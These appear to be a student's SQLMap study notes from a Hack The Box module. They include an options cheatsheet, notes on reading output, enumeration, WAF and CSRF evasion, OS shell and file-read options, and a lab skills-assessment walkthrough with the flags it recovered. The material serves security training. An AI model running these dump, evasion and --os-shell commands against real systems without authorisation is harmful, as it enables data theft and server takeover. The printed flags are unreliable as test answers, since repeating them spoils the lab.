Getting Started

This note will look more like a cheatsheet than other ones since it’s intended to be used as such.

Here is a recap of most important options and tools that SQLMap offers before the Module notes :

OptionDescription
--dataadd content to the body (imply POST if used)
-Hsame as cURL headers : 'Header-name:parameter=value'
--methodspecify the method (eg. --method PUT)
-rspecify input file to be used for request
--batchstop asking for user input (use default)
--dumpoutput the content of the findings automatically
--formsparse and test forms on target URL
--parse-errorsoutput errors encountered during the tests
--proxy https://127.0.0.1:8080/send the requests through Burpsuite
--prefix / --suffixadd prefix or suffix to the vector used by SQLMap
--level 1-5amount of vectors and boundaries used during tests
--risk 1-3potential to alter the server state with used payloads
-T {table_name}table to enumerate
-C {column_name}column to enumerate
-D {Database_name}database to enumerate
--where="name LIKE '%keyword%'"search for values using LIKE operator
--searchprefix option for db/table/columns search with a specific value
--is-dbacheck wether the current-user has privileged rights on the db
--tamper=specify some tampering options to bypass active filtering on our input

SQLMap Overview


SQLMap covers all SQL types of injection (BEUSTQ) :

  • Boolean-based
  • Error-based
  • Union query-based
  • Stacked queries
  • Time-based
  • Inline queries

Note that these tests are covered in the Burpsuite active scanner.

Getting Started with SQLMap


The article should be self-sufficient

SQLMap Output Description


Very important to understand the scanning output to interpret the results (skipped explicit log messages) :

MessageMeaning
target URL content is stableresponse doesn’t vary on multiple identical request. Useful to identify difference given by injections since we know it won’t be noise from the server response.
GET parameter ‘param’ appears to be dynamicGood indicator, your input has an impact on the response.
heuristic (basic) test shows that GET parameter ‘param’ might be injectable (possible DBMS: ‘MySQL’)The response indicates an error in the response that matches an injection for the associated DBMS.
heuristic (XSS) test shows that GET parameter ‘id’ might be vulnerable to cross-site scripting (XSS) attacksSQLMap does cover some XSS tests.
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]Very useful for narrowing down the attack vector and getting some footprinting. Will also reduce greatly the number of requests sent afterwards.
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]Expand the payload list testing to full instead of the most commonly tested by SQLMap.
reflective value(s) found and filtering outyour output is partially / completely returned to you.
GET parameter ‘id’ appears to be ‘AND boolean-based blind - WHERE or HAVING clause’ injectable (with —string=“luther”)possible blind SQLi.

Building Attacks

Running SQLMap on an HTTP Request


Specific injection point must be indicated using *.

Use copy as cURL in Browser dev tools and copy paste then swap curl for SQLMap. (learned this early 2025, saves so much time).

Otherwise copy the request in a file and use it as an input for SQLMap through -r {file}. HTB recommends to use the file option for long request (especially in the body section).

Useful commands have been added to the table in Getting Started.

Questions

Handling SQLMap Errors


  • When the response is verbose enough, using --parse-errors output the encountered errors during tests.
  • Use -t to save the requests and responses from SQLMap to a file.
  • Verbosity can be set up with -v and 1-6.
  • Use --proxy https://127.0.0.1:8080 to use Burpsuite default proxy option and thus get the request through the history.

Attack Tuning


  • Use --prefix and --suffix to add supplementary parts to the tested payloads. Example used is :
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
  • Increase --level to maximize payloads tests
  • Default --risk level is set to 1. Increase to 2 or 3 if the testing environment isn’t critical to potential denial of service.
  • Use --code to define an expected response as a valid detection. If a status code 200 is returned when an injection is successful, the option used should look like --code=200.
  • Specify a --string that indicate successful injection in specific cases.
  • Using the BEUSTQ name convention, you can specify techniques with --technique=BEUSTQ (keep only the wanted techniques letters).
  • If the number of columns needed is known for Union-Based SQLi you can use --union-cols=x
  • Same methodology for junk values in queries (default is NULL) you can replace it with --union-form=junk

Database enumeration

Database enumeration


Provided list of commands used by SQLMap for retrieving information.

Look for the user you are querying with using --current-user. SQLMap has features to look for specific data such as :

  • --hostname
  • --current-db
  • --passwords
  • --is-dba

As documented previously use -D ; -T ; -C to look for specific DB, Tables, Columns … Important note : you can specify data output to SQLite with --dump-format SQLITE.

Use --start and --stop parameters to delimitate the rows retrieved if you know you want to curate the data you’re looking for.

Options --where is very useful to search for specific clauses :

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

--dump by default retrieves everything for the current database. --dump-all does the same but for every DB available. --exclude-sysdbs will filter out the system databases which is polluting the output.

Questions

Advanced Database Enumeration


Use --schema to identify the DB architecture. --search parameter allow to look for values that could match the input :

sqlmap -u "http://www.example.com/?id=1" --search -T user

This can be used with columns and DB as well (notably looking for password columns). Most content was covered previously and is a bit redundant. Check cheatsheet.

Questions

Advanced SQLMap Usage

Bypassing Web Application Protections


  1. Use --csrf-token="csrf-token-param-name" to indicate to SQLMap to parse and search for the token in the server response.
  2. To avoid server expecting unique value on parameters you can also leverage --randomize=param to tell SQLMap to insert random unique values on each injection.
  3. If a request is validated only upon checking calculated values, we can use --eval to evaluate python code. the provided example looks like :
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
  1. The same way we used --proxy to log our request in Burpsuite, we can use that to get behind an other IP or other IP list with --proxy-file. If you’re using TOR, SQLMap offers directly a --tor switch option to use it.
  2. SQLMap tests for WAF by default, but it can be skipped using --skip-waf.
  3. The tool also use tamper scripts to prevent payloads to get prevented against XSS. Check for the content online as the list goes on quite a bit.

Questions

OS Exploitation


We already mentionned the --is-dba option previously. In the scenario we would have the admin rights then we can start working on file reading, pop a shell etc… :

  • --file-read "file/to/read"
  • --file-write "name_of_your_file.extension
  • --file-dest "to/be/used/with/file-write/uploaded_file.extension
  • --os-shell (goated and already used in labs)

Skills Assessment

Skills Assessment


The target looks like a shopping website with buying features. The given context is the following :

Context

You are given access to a web application with basic protection mechanisms. Use the skills learned in this module to find the SQLi vulnerability with SQLMap and exploit it accordingly. To complete this module, find the flag and submit it here.

Upon landing on the webpage the server already sets the cookie cookie=HTB{570r3d_f0r_3v3ry0n3_70_533}. Here we’re only looking for the table final_flag resulting in a working SQLi so we’ll continue digging (since we haven’t started yet). We can try to test this cookie as a source of injection since the website doesn’t offers many options :

sqlmap -u 'http://94.237.50.128:57507/' --cookie="HTB{570r3d_f0r_3v3ry0n3_70_533}*" --level=5 --risk=3

This doesn’t show any result. Trying to crawl and look for existing forms with SQLMap is not conclusive either :

sqlmap -u 'http://94.237.50.128:57507/' --crawl=2 --forms --level=5 --risk=3

At this point I already tried to add shoes to the basket or use the buy button but none of them seems to trigger a POST nor an interesting GET request. HOWEVER, this remark is only valid from the home (index.html) page and not from the shop.html one. Clicking on adding items triggers a very visible alert and logs a POST action.php request in Burpsuite. This should automatically ring a bell in your head that tells you to save the request and send it to SQLMap :

sqlmap -r action.php --level=5 --risk=3 -v 

SQLMap warning indicate the server might be filtering the input, which pushes me to use --tamper=between.

[WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'

We have an SQLi right there, more specifically a time-based blind :

Note we can gain some time since the flag we’re looking for is supposed to be in the table final_flag. We enumerate the columns and then identify our flag :

sqlmap -r assessment --level=5 --risk=3 --tamper=between -T final_flag --columns

Once we know we’re looking for id and content we can use our final payload :

sqlmap -r assessment --level=5 --risk=3 --tamper=between -T final_flag -C id,content --dump

After waiting for the progressive retrieval from SQLMap we finally get our flag : HTB{n07_50_h4rd_r16h7?!}.